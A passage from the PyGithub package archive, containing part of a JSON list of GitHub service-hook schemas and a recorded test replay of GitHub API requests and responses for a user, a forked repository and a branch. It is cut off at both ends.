ush"],"schema":[["string","user_key"],["string","device_name"]]},{"name":"pythonpackages","events":["push"],"supported_events":["push"],"schema":[]},{"name":"railsbp","events":["push"],"supported_events":["push"],"schema":[["string","railsbp_url"],["string","token"]]},{"name":"railsbrakeman","events":["push"],"supported_events":["push"],"schema":[["string","rails_brakeman_url"],["string","token"]]},{"name":"rally","events":["push"],"supported_events":["push"],"schema":[["string","server"],["string","username"],["string","workspace"],["string","repository"],["password","password"]]},{"name":"rapidpush","events":["push"],"supported_events":["push"],"schema":[["string","apikey"]]},{"name":"rationaljazzhub","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","username"],["password","password"],["string","override_server_url"]]},{"name":"rationalteamconcert","events":["push"],"supported_events":["push"],"schema":[["string","server_url"],["string","username"],["string","project_area_uuid"],["password","password"],["boolean","basic_authentication"],["boolean","no_verify_ssl"]]},{"name":"rdocinfo","events":["push"],"supported_events":["push"],"schema":[]},{"name":"readthedocs","events":["push"],"supported_events":["push"],"schema":[]},{"name":"redmine","events":["push"],"supported_events":["push"],"schema":[["string","address"],["string","project"],["string","api_key"],["boolean","fetch_commits"],["boolean","update_redmine_issues_about_commits"]]},{"name":"rubyforge","events":["push"],"supported_events":["push"],"schema":[["string","groupid"],["string","username"],["password","password"]]},{"name":"scrumdo","events":["push"],"supported_events":["push"],"schema":[["string","username"],["string","project_slug"],["password","password"]]},{"name":"shiningpanda","events":["push"],"supported_events":["push"],"schema":[["string","workspace"],["string","job"],["string","token"],["string","branches"],["string","parameters"]]},{"name":"sifter","events":["push"],"supported_events":["push"],"schema":[["string","subdomain"],["string","token"]]},{"name":"simperium","events":["push","issues","issue_comment","commit_comment","pull_request","pull_request_review_comment","watch","fork","fork_apply","member","public","team_add","status"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","app_id"],["string","token"],["string","bucket"]]},{"name":"slatebox","events":["push"],"supported_events":["push"],"schema":[["string","app_id"],["string","token"]]},{"name":"snowyevening","events":["push"],"supported_events":["push"],"schema":[["string","project"],["string","api_key"]]},{"name":"socialcast","events":["push"],"supported_events":["push"],"schema":[["string","api_domain"],["string","group_id"],["string","username"],["password","password"]]},{"name":"softlayermessaging","events":["push"],"supported_events":["push"],"schema":[["string","account"],["string","user"],["string","name"],["password","key"],["boolean","topic"]]},{"name":"sourcemint","events":["push"],"supported_events":["push"],"schema":[]},{"name":"splendidbacon","events":["push"],"supported_events":["push"],"schema":[["string","project_id"],["string","token"]]},{"name":"sprintly","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","push","team_add","watch","pull_request_review_comment","status"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","email"],["string","api_key"],["string","product_id"]]},{"name":"sqsqueue","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","aws_access_key"],["string","sqs_queue_name"],["password","aws_secret_key"]]},{"name":"stackmob","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"statusnet","events":["push"],"supported_events":["push"],"schema":[["string","server"],["string","username"],["password","password"],["boolean","digest"]]},{"name":"talker","events":["push"],"supported_events":["issues","pull_request","push"],"schema":[["string","url"],["string","token"],["boolean","digest"]]},{"name":"targetprocess","events":["push"],"supported_events":["push"],"schema":[["string","base_url"],["string","username"],["password","password"]]},{"name":"tddium","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"],["string","override_url"]]},{"name":"teamcity","events":["push"],"supported_events":["push"],"schema":[["string","base_url"],["string","build_type_id"],["string","username"],["string","branches"],["password","password"]]},{"name":"tender","events":["issues"],"supported_events":["issues","pull_request"],"schema":[["string","domain"],["string","token"]]},{"name":"tenxer","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[]},{"name":"testpilot","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"toggl","events":["push"],"supported_events":["push"],"schema":[["string","project"],["string","api_token"]]},{"name":"trac","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","token"]]},{"name":"trajectory","events":["push"],"supported_events":["pull_request","push"],"schema":[["string","api_key"]]},{"name":"travis","events":["push","pull_request","issue_comment","public","member"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","user"],["password","token"],["string","domain"]]},{"name":"trello","events":["push","pull_request"],"supported_events":["pull_request","push"],"schema":[["string","push_list_id"],["string","pull_request_list_id"],["string","ignore_regex"],["boolean","master_only"],["password","consumer_token"]]},{"name":"twilio","events":["push"],"supported_events":["push"],"schema":[["string","account_sid"],["string","from_phone"],["string","to_phone"],["boolean","master_only"],["password","auth_token"]]},{"name":"twitter","events":["push"],"supported_events":["push"],"schema":[["string","token"],["string","secret"],["boolean","digest"],["boolean","short_format"]]},{"name":"unfuddle","events":["push"],"supported_events":["push"],"schema":[["string","subdomain"],["string","repo_id"],["string","username"],["password","password"],["boolean","httponly"]]},{"name":"web","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","url"],["string","secret"],["string","content_type"],["string","ssl_version"],["boolean","insecure_ssl"]]},{"name":"weblate","events":["push"],"supported_events":["push"],"schema":[["string","url"]]},{"name":"webtranslateit","events":["push"],"supported_events":["push"],"schema":[["string","api_key"]]},{"name":"yammer","events":["push","commit_comment","pull_request","pull_request_review_comment","public"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"]]},{"name":"youtrack","events":["push"],"supported_events":["push"],"schema":[["string","base_url"],["string","committers"],["string","username"],["string","branch"],["password","password"]]},{"name":"zendesk","events":["commit_comment","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","subdomain"],["string","username"],["password","password"]]},{"name":"zohoprojects","events":["push"],"supported_events":["push"],"schema":[["string","project_id"],["string","token"]]}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.setUp.txt0000644000175100001660000007573214756101563021231 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 13:59:16 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8bdb9fd004aa2396a00fe6e7a7d95fa51df7d5cece2ab66cb6937fcc79fefd36"'), ('Last-Modified', 'Sat, 21 Dec 2024 12:42:47 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1735916356'), ('X-RateLimit-Used', '1'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '99A2:59502:2086CF0C:2164DB7E:6777ED34')] {"login":"jacquev6","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false,"name":"Enrico Minack","company":null,"blog":"","location":"Hannover, Germany","email":"github@enrico.minack.dev","hireable":null,"bio":"Open Source Software enthusiast, LF AI Horovod maintainer, Apache Spark contributor.","twitter_username":null,"notification_email":"github@enrico.minack.dev","public_repos":46,"public_gists":0,"followers":71,"following":1,"created_at":"2018-11-02T11:17:22Z","updated_at":"2024-12-21T12:42:47Z"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 13:59:16 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e27e013f9e12a242447948259448b536efd4bdb927d18be9807967290a464cd7"'), ('Last-Modified', 'Sat, 23 Nov 2024 18:31:09 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1735916356'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '99A4:4D2C4:221AEA18:22F8F7F4:6777ED34')] {"id":446365735,"node_id":"R_kgDOGpsAJw","name":"PyGithub","full_name":"jacquev6/PyGithub","private":false,"owner":{"login":"jacquev6","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/jacquev6/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments","created_at":"2022-01-10T09:52:53Z","updated_at":"2024-11-23T18:31:09Z","pushed_at":"2025-01-03T11:21:33Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16928,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":2,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":15,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":2,"open_issues":15,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-03T05:23:15Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7115,"watchers_count":7115,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":356,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":356,"watchers":7115,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-03T05:23:15Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7115,"watchers_count":7115,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":356,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":356,"watchers":7115,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1793,"subscribers_count":0} https GET api.github.com None /repos/jacquev6/PyGithub/branches/topic/RewriteWithGeneratedCode {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 13:59:16 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"dce770e09e3a3ed99772d1fef739b02b468f447e542c7b761c361fd26052d139"'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1735916356'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '99B2:47716:2361F0A5:243FFB4B:6777ED34')] {"name":"topic/RewriteWithGeneratedCode","commit":{"sha":"f23da453917a36c8bd48ab8d99e5fa7221884342","node_id":"C_kwDOGpsAJ9oAKGYyM2RhNDUzOTE3YTM2YzhiZDQ4YWI4ZDk5ZTVmYTcyMjE4ODQzNDI","commit":{"author":{"name":"Enrico Minack","email":"github@enrico.minack.dev","date":"2024-11-23T10:19:47Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2024-11-23T10:19:47Z"},"message":"Add capability for global laziness 